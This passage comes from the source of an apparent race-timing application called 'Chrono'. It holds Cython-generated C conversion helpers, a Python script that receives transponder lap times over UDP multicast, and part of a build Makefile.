/* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_int(int value) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(int) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(int) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(int) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(int), little, !is_unsigned); } } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(long) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (long) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case 1: __PYX_VERIFY_RETURN_INT(long, digit, digits[0]) case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 2 * PyLong_SHIFT) { return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 3 * PyLong_SHIFT) { return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) >= 4 * PyLong_SHIFT) { return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (long) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(long) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (long) 0; case -1: __PYX_VERIFY_RETURN_INT(long, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(long, digit, +digits[0]) case -2: if (8 * sizeof(long) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 2: if (8 * sizeof(long) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -3: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 3: if (8 * sizeof(long) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case -4: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; case 4: if (8 * sizeof(long) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); } } break; } #endif if (sizeof(long) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else long val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* CIntFromPy */ static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { const int neg_one = (int) -1, const_zero = (int) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_Check(x))) { if (sizeof(int) < sizeof(long)) { __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) } else { long val = PyInt_AS_LONG(x); if (is_unsigned && unlikely(val < 0)) { goto raise_neg_overflow; } return (int) val; } } else #endif if (likely(PyLong_Check(x))) { if (is_unsigned) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case 1: __PYX_VERIFY_RETURN_INT(int, digit, digits[0]) case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 2 * PyLong_SHIFT) { return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 3 * PyLong_SHIFT) { return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) >= 4 * PyLong_SHIFT) { return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); } } break; } #endif #if CYTHON_COMPILING_IN_CPYTHON if (unlikely(Py_SIZE(x) < 0)) { goto raise_neg_overflow; } #else { int result = PyObject_RichCompareBool(x, Py_False, Py_LT); if (unlikely(result < 0)) return (int) -1; if (unlikely(result == 1)) goto raise_neg_overflow; } #endif if (sizeof(int) <= sizeof(unsigned long)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(unsigned PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) #endif } } else { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)x)->ob_digit; switch (Py_SIZE(x)) { case 0: return (int) 0; case -1: __PYX_VERIFY_RETURN_INT(int, sdigit, (sdigit) (-(sdigit)digits[0])) case 1: __PYX_VERIFY_RETURN_INT(int, digit, +digits[0]) case -2: if (8 * sizeof(int) - 1 > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 2: if (8 * sizeof(int) > 1 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 2 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -3: if (8 * sizeof(int) - 1 > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 3: if (8 * sizeof(int) > 2 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 3 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case -4: if (8 * sizeof(int) - 1 > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; case 4: if (8 * sizeof(int) > 3 * PyLong_SHIFT) { if (8 * sizeof(unsigned long) > 4 * PyLong_SHIFT) { __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) } else if (8 * sizeof(int) - 1 > 4 * PyLong_SHIFT) { return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); } } break; } #endif if (sizeof(int) <= sizeof(long)) { __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) #ifdef HAVE_LONG_LONG } else if (sizeof(int) <= sizeof(PY_LONG_LONG)) { __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) #endif } } { #if CYTHON_COMPILING_IN_PYPY && !defined(_PyLong_AsByteArray) PyErr_SetString(PyExc_RuntimeError, "_PyLong_AsByteArray() not available in PyPy, cannot convert large numbers"); #else int val; PyObject *v = __Pyx_PyNumber_IntOrLong(x); #if PY_MAJOR_VERSION < 3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (int) -1; } } else { int val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (int) -1; val = __Pyx_PyInt_As_int(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to int"); return (int) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to int"); return (int) -1; } /* CheckBinaryVersion */ static int __Pyx_check_binary_version(void) { char ctversion[4], rtversion[4]; PyOS_snprintf(ctversion, 4, "%d.%d", PY_MAJOR_VERSION, PY_MINOR_VERSION); PyOS_snprintf(rtversion, 4, "%s", Py_GetVersion()); if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) { char message[200]; PyOS_snprintf(message, sizeof(message), "compiletime version %s of module '%.100s' " "does not match runtime version %s", ctversion, __Pyx_MODULE_NAME, rtversion); return PyErr_WarnEx(NULL, message, 1); } return 0; } /* InitStrings */ static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { while (t->p) { #if PY_MAJOR_VERSION < 3 if (t->is_unicode) { *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); } else if (t->intern) { *t->p = PyString_InternFromString(t->s); } else { *t->p = PyString_FromStringAndSize(t->s, t->n - 1); } #else if (t->is_unicode | t->is_str) { if (t->intern) { *t->p = PyUnicode_InternFromString(t->s); } else if (t->encoding) { *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL); } else { *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1); } } else { *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1); } #endif if (!*t->p) return -1; ++t; } return 0; } static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { return __Pyx_PyUnicode_FromStringAndSize(c_str, (Py_ssize_t)strlen(c_str)); } static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject* o) { Py_ssize_t ignore; return __Pyx_PyObject_AsStringAndSize(o, &ignore); } static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { #if CYTHON_COMPILING_IN_CPYTHON && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT) if ( #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII __Pyx_sys_getdefaultencoding_not_ascii && #endif PyUnicode_Check(o)) { #if PY_VERSION_HEX < 0x03030000 char* defenc_c; PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); if (!defenc) return NULL; defenc_c = PyBytes_AS_STRING(defenc); #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII { char* end = defenc_c + PyBytes_GET_SIZE(defenc); char* c; for (c = defenc_c; c < end; c++) { if ((unsigned char) (*c) >= 128) { PyUnicode_AsASCIIString(o); return NULL; } } } #endif *length = PyBytes_GET_SIZE(defenc); return defenc_c; #else if (__Pyx_PyUnicode_READY(o) == -1) return NULL; #if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII if (PyUnicode_IS_ASCII(o)) { *length = PyUnicode_GET_LENGTH(o); return PyUnicode_AsUTF8(o); } else { PyUnicode_AsASCIIString(o); return NULL; } #else return PyUnicode_AsUTF8AndSize(o, length); #endif #endif } else #endif #if (!CYTHON_COMPILING_IN_PYPY) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) if (PyByteArray_Check(o)) { *length = PyByteArray_GET_SIZE(o); return PyByteArray_AS_STRING(o); } else #endif { char* result; int r = PyBytes_AsStringAndSize(o, &result, length); if (unlikely(r < 0)) { return NULL; } else { return result; } } } static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { int is_true = x == Py_True; if (is_true | (x == Py_False) | (x == Py_None)) return is_true; else return PyObject_IsTrue(x); } static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { #if CYTHON_USE_TYPE_SLOTS PyNumberMethods *m; #endif const char *name = NULL; PyObject *res = NULL; #if PY_MAJOR_VERSION < 3 if (PyInt_Check(x) || PyLong_Check(x)) #else if (PyLong_Check(x)) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = PyNumber_Int(x); } else if (m && m->nb_long) { name = "long"; res = PyNumber_Long(x); } #else if (m && m->nb_int) { name = "int"; res = PyNumber_Long(x); } #endif #else res = PyNumber_Int(x); #endif if (res) { #if PY_MAJOR_VERSION < 3 if (!PyInt_Check(res) && !PyLong_Check(res)) { #else if (!PyLong_Check(res)) { #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", name, name, Py_TYPE(res)->tp_name); Py_DECREF(res); return NULL; } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/console/receive.py import socket import struct def createTime( milli): second = ( milli / 4000 ) % 60 minute = ( milli / 4000 / 60 ) % 60 heure = ( milli / 4000 / 3600 ) milli = milli % 4000 return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) multicast_group = '172.16.58.3' server_address = ('', 10000) # Create the socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Bind to the server address sock.bind(server_address) # Tell the operating system to add the socket to the multicast group # on all interfaces. group = socket.inet_aton(multicast_group) mreq = struct.pack('4sL', group, socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) tplist = {} # Receive/respond loop while True: data, address = sock.recvfrom(1024) tp = int( data[:data.find(" ")]) millis = int( data[data.find(" "):]) lap = 0 i = 0 rt = " Record " try: if tp in tplist: lap = millis - tplist[tp][0] tplist[tp][0] = millis if lap < tplist[tp][1]: tplist[tp][1] = lap rt = "New Record!" else: tplist.setdefault(tp, []) tplist[tp].append( millis ) tplist[tp].append( 123456789 ) except ValueError: print("got an error") finally: print ("transponder id: {: 10d}".format( tp ) +", timecode {: 20d}".format( millis ) +", lap time = "+ createTime( lap ) + " -> "+rt+" " +createTime( tplist[tp][1]) ) <file_sep>/cython/Makefile CP=cython # OSX CPFLAGS=-I../gui -I../decoder -I../tables -3 --cplus CC=g++ #CFLAGS= -I/usr/include/python3.5m -I/usr/include/x86_64-linux-gnu/python3.5m # Linux CFLAGS= -I/Library/Frameworks/Python.framework/Versions/3.6/include/python3.6m/ # Osx GETFLAGS=$(pkg-config --libs --cflags python3) #LDFLAGS= -lpython3.5m # Linux LDFLAGS= -l/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6m # OSX EXEC=Chrono OBJS= obj/__main__.o \ obj/decoder/cano.o \ obj/decoder/simulator.o \ obj/decoder/tagV3.o \ obj/gui/MainWindow.o \ obj/gui/Set_RacerTp.o \ obj/gui/Ui_MainWindow.o \ obj/gui/Ui_set_RaceLen.o \ obj/gui/Ui_Set_RacerTp.o \ obj/tables/T_Concurrents.o \ obj/tables/T_Marques.o \ obj/tables/T_ModelCourses.o \ obj/tables/T_Pays.o \ obj/tables/T_Ville.o \ obj/db.o \ obj/decoder_task.o \ obj/Globals.o \ obj/manage.o \ obj/manageRace.o \ obj/Preferences.o \ obj/receive.o all: $(EXEC) Chrono: $(OBJS) $(CC) -o Chrono $(LDFLAGS) $(OBJS) clean: rm -rf *.o mrproper: clean rm -rf $(EXEC) __main__.cc: ../__main__.py $(CP) $(CPFLAGS) -o __main__.cc ../__main__.py --embed obj/__main__.o: __main__.cc $(CC) -o obj/__main__.o -c __main__.cc $(CFLAGS) #../console/best_lap.py #../console/read_tp.py #../console/receive.py decoder/cano.cc: ../decoder/cano.py $(CP) $(CPFLAGS) -o decoder/cano.cc ../decoder/cano.py obj/decoder/cano.o: decoder/cano.cc $(CC) -o obj/decoder/cano.o -c decoder/cano.cc $(CFLAGS) decoder/simulator.cc: ../decoder/simulator.py $(CP) $(CPFLAGS) -o decoder/simulator.cc ../decoder/simulator.py obj/decoder/simulator.o: decoder/simulator.cc $(CC) -o obj/decoder/simulator.o -c decoder/simulator.cc $(CFLAGS) decoder/tagV3.cc: ../decoder/tagV3.py $(CP) $(CPFLAGS) -o decoder/tagV3.cc ../decoder/tagV3.py obj/decoder/tagV3.o: decoder/tagV3.cc $(CC) -o obj/decoder/tagV3.o -c decoder/tagV3.cc $(CFLAGS) gui/MainWindow.cc: ../gui/MainWindow.py $(CP) $(CPFLAGS) -o gui/MainWindow.cc ../gui/MainWindow.py obj/gui/MainWindow.o: gui/MainWindow.cc $(CC) -o obj/gui/MainWindow.o -c gui/MainWindow.cc $(CFLAGS) gui/Set_RacerTp.cc: ../gui/Set_RacerTp.py $(CP) $(CPFLAGS) -o gui/Set_RacerTp.cc ../gui/Set_RacerTp.py obj/gui/Set_RacerTp.o: gui/Set_RacerTp.cc $(CC) -o obj/gui/Set_RacerTp.o -c gui/Set_RacerTp.cc $(CFLAGS) gui/Ui_MainWindow.cc: ../gui/Ui_MainWindow.py $(CP) $(CPFLAGS) -o gui/Ui_MainWindow.cc ../gui/Ui_MainWindow.py obj/gui/Ui_MainWindow.o: gui/Ui_MainWindow.cc $(CC) -o obj/gui/Ui_MainWindow.o -c gui/Ui_MainWindow.cc $(CFLAGS) gui/Ui_set_RaceLen.cc: ../gui/Ui_set_RaceLen.py $(CP) $(CPFLAGS) -o gui/Ui_set_RaceLen.cc ../gui/Ui_set_RaceLen.py obj/gui/Ui_set_RaceLen.o: gui/Ui_set_RaceLen.cc $(CC) -o obj/gui/Ui_set_RaceLen.o -c gui/Ui_set_RaceLen.cc $(CFLAGS) gui/Ui_Set_RacerTp.cc: ../gui/Ui_Set_RacerTp.py $(CP) $(CPFLAGS) -o gui/Ui_Set_RacerTp.cc ../gui/Ui_Set_RacerTp.py obj/gui/Ui_Set_RacerTp.o: gui/Ui_Set_RacerTp.cc $(CC) -o obj/gui/Ui_Set_RacerTp.o -c gui/Ui_Set_RacerTp.cc $(CFLAGS) tables/T_Concurrents.cc: ../tables/T_Concurrents.py $(CP) $(CPFLAGS) -o tables/T_Concurrents.cc ../tables/T_Concurrents.py obj/tables/T_Concurrents.o: tables/T_Concurrents.cc $(CC) -o obj/tables/T_Concurrents.o -c tables/T_Concurrents.cc $(CFLAGS) tables/T_Marques.cc: ../tables/T_Marques.py $(CP) $(CPFLAGS) -o tables/T_Marques.cc ../tables/T_Marques.py obj/tables/T_Marques.o: tables/T_Marques.cc $(CC) -o obj/tables/T_Marques.o -c tables/T_Marques.cc $(CFLAGS) tables/T_ModelCourses.cc: ../tables/T_ModelCourses.py $(CP) $(CPFLAGS) -o tables/T_ModelCourses.cc ../tables/T_ModelCourses.py obj/tables/T_ModelCourses.o: tables/T_ModelCourses.cc $(CC) -o obj/tables/T_ModelCourses.o -c tables/T_ModelCourses.cc $(CFLAGS) tables/T_Pays.cc: ../tables/T_Pays.py $(CP) $(CPFLAGS) -o tables/T_Pays.cc ../tables/T_Pays.py obj/tables/T_Pays.o: 